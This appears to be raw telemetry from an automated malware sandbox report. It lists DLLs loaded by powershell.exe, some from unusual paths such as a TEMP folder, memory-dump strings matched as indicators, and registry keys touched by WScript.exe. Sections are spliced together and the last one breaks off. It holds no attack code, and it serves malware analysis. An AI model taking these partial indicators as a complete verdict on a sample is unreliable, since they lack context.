"powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffb53dc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffb53960000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffb3f170000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffb4a3c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffb3d710000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffb53960000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\EMKXSIB5.DLL" at base 7ffb3b4b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffb30a70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffb30900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffb30790000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffb22360000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffb32d50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffb219f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffb21680000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb53b50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb30640000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffb32b40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffb30560000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffb21540000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffb37e00000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffb49410000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffb534c0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffb526b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb51c00000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffb21460000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffb54b90000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffb534f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffb562e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffb56b50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffb20750000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffb342e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffb205e0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffb56e60000 "powershell.exe" loaded module "OLEAUT32" at base 7ffb57050000 "powershell.exe" loaded module "SXS.DLL" at base 7ffb53420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ffb44900000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 7ffb3a7f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffb203a0000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffb4fe20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffb35af0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb52e50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb4c120000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb4c680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffb52940000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffb454d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffb45480000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffb53b50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffb467e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffb47b90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base 7ffb41430000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffb41410000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffb413f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 7ffb4f840000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffb3f8c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffb47550000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffb53b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffb53b50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffb46a40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 7ffb57050000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffb53120000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 771e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 771e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 771e0000 "powershell.exe" loaded module "KERNEL32" at base 749d0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73170000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 74db0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 730e0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 74ef0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 771a0000 "powershell.exe" loaded module "VERSION.DLL" at base 74430000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72930000 "powershell.exe" loaded module "USER32.DLL" at base 74fd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 771e0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 73220000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 753f0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 752e0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 749d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 71450000 "powershell.exe" loaded module "OLE32.DLL" at base 751e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 753f0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 76980000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 71420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74970000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 771e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71390000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 70930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 70110000 "powershell.exe" loaded module "COMBASE.DLL" at base 753f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 753f0000 "powershell.exe" loaded module "NTDLL.DLL" at base 77cf0000 "powershell.exe" loaded module "PSAPI.DLL" at base 74ea0000 "powershell.exe" loaded module "SHELL32.DLL" at base 75640000 "powershell.exe" loaded module "WINTRUST.DLL" at base 74920000 "powershell.exe" loaded module "AMSI.DLL" at base 70100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f950000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74920000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 76ff0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74430000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 6f930000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\EMKXSIB5.DLL" at base 6f8f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6f850000 "powershell.exe" loaded module "CRYPT32.DLL" at base 76ff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6f4f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 753f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6f4a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f390000 "powershell.exe" loaded module "SECUR32.DLL" at base 6f380000 "powershell.exe" loaded module "SSPICLI.DLL" at base 74710000 "powershell.exe" loaded module "WLDP.DLL" at base 6f360000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 741c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6f2c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 749d0000 "powershell.exe" loaded module "USERENV.DLL" at base 700d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 74db0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6f260000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6f240000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 749d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6f210000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6f0b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6f080000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6f080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6ef60000 "powershell.exe" loaded module "GDI32.DLL" at base 771b0000 "powershell.exe" loaded module "OLEAUT32" at base 76980000 "powershell.exe" loaded module "SXS.DLL" at base 6eed0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSXML6.DLL" at base 6ece0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 6ecc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 771e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6eca0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6ec20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 6ebf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 6ebd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 6ebb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 6eb90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73500000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 6eb80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6eb30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6eb20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6eb10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6ea50000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 771e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 771e00003c:Ta8a,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Press Enter to continue...me of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp")3d:T18c7,"WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "WScript.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WScript.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "WScript.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WScript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "WScript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Server XML HTTP 6.0" (Path: "HKCU\CLSID\{88D96A0B-F192-11D4-A65F-0040963251E5}\TREATAS") "powershell.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\TREATAS") "powershell.exe" touched "ShellWindows" (Path: "HKCU\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\INPROCSERVER32") "powershell.exe" touched "PSDispatch" (Path: "HKCU\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "PSTypeInfo" (Path: "HKCU\CLSID\{00020422-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS")3e:T434,"WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY")3f:Tf74,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006196-00000C2A-2338563107] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00006196-00000C2A-2338861646] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00006196-00000C2A-2339972159] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00000200-00000C2D-987444298] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00000200-00000C2A-2342550004] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00000200-00000C2A-2342663994] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00000200-00000C2A-2342775538] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00000200-00000C2A-2342967082] Observed system 